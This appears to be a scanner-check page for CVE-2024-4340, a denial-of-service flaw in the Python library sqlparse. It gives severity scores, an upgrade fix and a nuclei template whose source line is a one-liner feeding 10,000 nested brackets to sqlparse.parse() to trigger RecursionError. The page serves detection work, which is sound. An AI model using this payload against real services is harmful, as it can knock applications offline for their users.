CVE-2024-4340
sqlparse - Denial of Service
highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Impact
Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
Fix
Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
How to confirm it
Positive when: contains in stderr "RecursionError: maximum recursion depth exceeded"Run it with nuclei: nuclei -id CVE-2024-4340 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-4340
info:
name: sqlparse - Denial of Service
author: KoYejune0302,cheoljun99,sim4110,gy741
severity: high
description: |
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
impact: |
Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
remediation: |
Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.03237
epss-percentile: 0.88387
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
self-contained: true
code:
- engine:
- sh
- bash
source: |
python -c "import sqlparse; sqlparse.parse('[' * 10000 + ']' * 10000)"
matchers:
- type: word
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"References
Use this check only on systems you are authorised to test. Where the data comes from